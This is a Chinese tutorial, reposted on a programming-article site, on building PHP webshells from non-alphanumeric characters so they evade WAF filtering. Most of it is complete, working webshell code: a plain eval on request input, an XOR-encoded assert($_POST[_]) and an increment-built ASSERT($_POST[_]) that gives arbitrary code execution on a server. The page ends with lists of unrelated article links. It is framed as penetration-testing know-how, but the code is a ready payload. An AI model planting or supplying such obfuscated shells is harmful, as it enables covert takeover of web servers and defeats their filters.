如何通过非数字与字符的方式实现PHP WebShell详解


Posted in Javascript onJuly 02, 2017

前言

本文主要给大家介绍的是关于通过非数字与字符实现PHP WebShell的相关资料,分享出来供大家参考学习,下面来一起看看详细的介绍:

一般来说,我们所写的webshell通常都会包含数字或字母。比如说下面这样:

<?php

if(!preg_match('/[a-z0-9]/is',$_GET['shell'])){

eval($_GET['shell']);

}

但如果你想要绕过WAF的话,你还得使用一些其他的技术来重写你的webshell。

思路

首先我们要明确思路,我的核心思想就是通过一系列字符变换最终利用非字母和非数字字符构建出webshell,然后使用PHP的动态函数(例如“assert”)来完成函数名的拼接,最后动态执行构建出来的代码。

所以,转换方法就是解决这一问题的重点了。但是在开始之前,我需要跟大家讨论以下php5和php7之间的区别。

php5的断言(assert)是通过函数实现的,我们可以使用$f='assert';$f(…);这种方法来动态执行任意代码。但是在php7中,断言已经不再是一个函数了,而是一种语言结构(类似eval),而且断言(assert)也无法再作为函数名来实现代码的动态执行了,所以对于php7来说,问题可能会变得更加复杂了。不过各位也不用太过担心,因为我们可以使用 file_put_contents函数来达到我们的目的。

为了方便起见,本文的实验环境使用的是php5,关于php7的利用方式就请各位自行去探索啦:D

方法一

这是一种最简单的方法了。在php中,我们可以通过异或运算(XOR)来得到一个或两个字符串。因此,如果我们想要得到一个a-z之间的英文字符,我们就可以通过两个非字母字符和字符数来生成所需要的字母字符。示例代码如下:

<?php$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); //$_='assert';

$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');// $__='_POST';

$___=$$__;

$_($___[_]); // assert($_POST[_]);

解析结果如下:

如何通过非数字与字符的方式实现PHP WebShell详解

方法二

在这种方法中,我们可以使用一些特殊的小技巧来实现我们的目标。首先,请大家参考php.net的这份文档:【传送门】

文档中写到:“在处理字符变量的算术运算时,PHP遵循的是Perl的规范,而并非C语言规范。比如说在PHP和Perl中,$a = ‘Z'; $a++;经过计算之后变量$a会变成 ‘AA',但是在C语言中, a = ‘Z'; a++;计算后会将a变为‘['(‘Z'的ASCII值为90,‘['的ASCII值为91)。请注意,字符变量可以进行自增运算但无法进行自减运算,而且只有ASCII字母和数字(a-z,A-Z,0-9)才支持这种运算,如果对其他字符变量进行这种运算将不会有任何作用,此时的原始字符串将保持不变。”

那么接下来,我们应该如何才能得到一个包含字符‘a'的变量呢?

字符串“Array”的首字母是一个大写的‘A',而第四个字母则是一个小写的‘a'。换句话说,我们可以通过这个字符串同时得到大写和小写的字母‘a'(A),这也就意味着我们可以通过这种方法得到a-z和A-Z中任意一个字母字符。

比如说在PHP中,如果你想拼接数组和字符串,那么你首先要将字符串(array)转换成一个字符串(这个字符串的值为Array):

如何通过非数字与字符的方式实现PHP WebShell详解

然后截取字符串的首字母,我们就得到了‘A'。

利用这项技术,我编写了如下所示的webshell(由于PHP函数是对大小写敏感的,所以我在结尾补上了ASSERT($_POST[_])):

<?php

$_=[];

$_=@"$_"; // $_='Array';

$_=$_['!'=='@']; // $_=$_[0];

$___=$_; // A

$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;

$___.=$__; // S

$___.=$__; // S

$__=$_;

$__++;$__++;$__++;$__++; // E

$___.=$__;

$__=$_;

$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// R

$___.=$__;

$__=$_;

$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// T

$___.=$__;

$____='_';

$__=$_;

$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// P

$____.=$__;

$__=$_;

$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// O

$____.=$__;

$__=$_;

$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// S

$____.=$__;

$__=$_;

$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// T

 $____.=$__;

$_=$$____;

$___($_[_]); // ASSERT($_POST[_]);

解析结果如下图所示:

如何通过非数字与字符的方式实现PHP WebShell详解

总结

很多网站现在都会对特殊字符进行过滤和检测,因此希望这项技术可以给各位Web渗透测试人员提供一些解决问题的思路。

好了,以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作能带来一定的帮助,如有疑问大家可以留言交流,谢谢大家对三水点靠木的支持。

Javascript 相关文章推荐
Dom与浏览器兼容性说明
Oct 25 Javascript
jquery实现textarea输入字符控制(仿微博输入控制字符)
Apr 26 Javascript
js的alert弹出框出现乱码解决方案
Sep 02 Javascript
javascript 获取元素样式必杀技
May 04 Javascript
js拼接html注意问题示例探讨
Jul 14 Javascript
Perl Substr()函数及函数的应用
Dec 16 Javascript
Vue.js学习笔记之 helloworld
Aug 14 Javascript
Web打印解决方案之普通报表打印功能
Aug 29 Javascript
简单实现Vue的observer和watcher
Dec 21 Javascript
JavaScrpt中如何使用 cookie 设置查看与删除功能
Jul 09 Javascript
angular2组件中定时刷新并清除定时器的实例讲解
Aug 31 Javascript
Fundebug支持监控微信小程序HTTP请求错误的方法
Feb 21 Javascript
关于使用axios的一些心得技巧分享
Jul 02 #Javascript
React服务端渲染(总结)
Jul 01 #Javascript
Express + Node.js实现登录拦截器的实例代码
Jul 01 #Javascript
详解node-ccap模块生成captcha验证码
Jul 01 #Javascript
vue元素实现动画过渡效果
Jul 01 #Javascript
JavaScript学习总结之正则的元字符和一些简单的应用
Jun 30 #Javascript
node.js + socket.io 实现点对点随机匹配聊天
Jun 30 #Javascript
You might like
服务器端解压缩zip的脚本
2006/12/22 PHP
php程序效率优化的一些策略小结
2010/07/17 PHP
php强大的时间转换函数strtotime
2016/02/18 PHP
php微信公众号开发之关键词回复
2018/10/20 PHP
Yaf框架封装的MySQL数据库操作示例
2019/03/06 PHP
laravel5.1框架model类查询的实现方法
2019/10/08 PHP
多浏览器兼容的获取元素和鼠标的位置的js代码
2009/12/15 Javascript
关于在IE下的一个安全BUG --可用于跟踪用户的系统鼠标位置
2013/04/17 Javascript
每日十条JavaScript经验技巧(二)
2016/06/23 Javascript
防止页面url缓存中ajax中post请求的处理方法
2017/10/10 Javascript
vue axios 在页面切换时中断请求方法 ajax
2018/03/05 Javascript
vue利用v-for嵌套输出多层对象,分别输出到个表的方法
2018/09/07 Javascript
JavaScript函数式编程(Functional Programming)箭头函数(Arrow functions)用法分析
2019/05/22 Javascript
详解ES6中class的实现原理
2020/10/03 Javascript
在Python中使用NLTK库实现对词干的提取的教程
2015/04/08 Python
Python IDE PyCharm的基本快捷键和配置简介
2015/11/04 Python
Python实现读取文件最后n行的方法
2017/02/23 Python
python 性能优化方法小结
2017/03/31 Python
python3.5+tesseract+adb实现西瓜视频或头脑王者辅助答题
2018/01/17 Python
django 修改server端口号的方法
2018/05/14 Python
详解Python字典的操作
2019/03/04 Python
Django models文件模型变更错误解决
2020/05/11 Python
用python-webdriver实现自动填表的示例代码
2021/01/13 Python
使用phonegap获取位置信息的实现方法
2017/03/31 HTML / CSS
DogBuddy荷兰:找到你最完美的狗保姆
2019/04/17 全球购物
香港家用健身器材、运动器材及健康美容仪器专门店:FitBoxx
2019/12/05 全球购物
个人找工作求职简历的自我评价
2013/10/20 职场文书
药学专业大专生的自我评价
2013/12/12 职场文书
高中毕业生自我鉴定例文
2013/12/29 职场文书
资源工程专业毕业生求职信
2014/02/27 职场文书
中班幼儿评语大全
2014/04/30 职场文书
财务部绩效考核方案
2014/05/04 职场文书
小学英语教师2015年度个人工作总结
2015/10/14 职场文书
2016年班主任培训心得体会
2016/01/07 职场文书
JavaGUI模仿QQ聊天功能完整版
2021/07/04 Java/Android
python游戏开发之pygame实现接球小游戏
2022/04/22 Python